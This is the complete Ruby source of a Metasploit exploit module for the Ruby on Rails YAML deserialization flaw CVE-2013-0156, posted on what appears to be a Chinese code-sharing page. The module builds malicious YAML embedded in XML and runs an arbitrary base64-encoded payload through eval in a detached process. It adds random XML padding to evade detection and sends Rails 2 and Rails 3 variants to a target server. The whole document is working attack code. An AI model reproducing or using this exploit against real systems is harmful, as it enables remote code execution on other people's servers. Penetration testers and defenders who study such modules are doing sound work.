扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution', 'Description'=> %q{ This module exploits a remote code execution vulnerability in the XML request processor of the Ruby on Rails application framework. This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This module has been tested across multiple versions of RoR 3.x and RoR 2.x }, 'Author' => [ 'charlisome',# PoC 'espes', # PoC and Metasploit module 'lian',# Identified the RouteSet::NamedRouteCollection vector 'hdm'# Module merge/conversion/payload work ], 'License'=> MSF_LICENSE, 'References'=> [ ['CVE', '2013-0156'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156'] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets'=> [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 7 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) register_evasion_options( [ OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true]) ], self.class) end # # This stub ensures that the payload runs outside of the Rails process # Otherwise, the session can be killed on timeout # def detached_payload_stub(code) %Q^ code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen("ruby", "wb") rescue nil if inp inp.write(code) inp.close end else if ! Process.fork() eval(code) rescue nil end end ^.strip.split(/\n/).map{|line| line.strip}.join("\n") end # # Create the YAML document that will be embedded into the XML # def build_yaml_rails2 # Embed the payload with the detached stub code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" yaml end # # Create the YAML document that will be embedded into the XML # def build_yaml_rails3 # Embed the payload with the detached stub code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n:defaults: {}\n" yaml end # # Create the XML wrapper with any desired evasion # def build_request(v) xml = '' elo = Rex::Text.rand_text_alpha(rand(12)+4) if datastore['XML::PadElement'] xml << "<#{elo}>" 1.upto(rand(1000)+50) do el = Rex::Text.rand_text_alpha(rand(12)+4) tp = ['string', 'integer'][ rand(2) ] xml << "<#{el} type='#{tp}'>" xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) ) xml << "</#{el}>" end end el = Rex::Text.rand_text_alpha(rand(12)+4) xml << "<#{el} type='yaml'>" xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3) xml << "</#{el}>" if datastore['XML::PadElement'] 1.upto(rand(1000)+50) do el = Rex::Text.rand_text_alpha(rand(12)+4) tp = ['string', 'integer'][ rand(2) ] xml << "<#{el} type='#{tp}'>" xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) ) xml << "</#{el}>" end xml << "</#{elo}>" end xml end # # Send the actual request # def exploit print_status("Sending Railsv3 request to #{rhost}:#{rport}...") res = send_request_cgi({ 'uri'=> datastore['URIPATH'] || "/", 'method' => datastore['HTTP_METHOD'], 'ctype'=> 'application/xml', 'data' => build_request(3) }, 25) handler print_status("Sending Railsv2 request to #{rhost}:#{rport}...") res = send_request_cgi({ 'uri'=> datastore['URIPATH'] || "/", 'method' => datastore['HTTP_METHOD'], 'ctype'=> 'application/xml', 'data' => build_request(2) }, 25) handler end end |
体验盒子
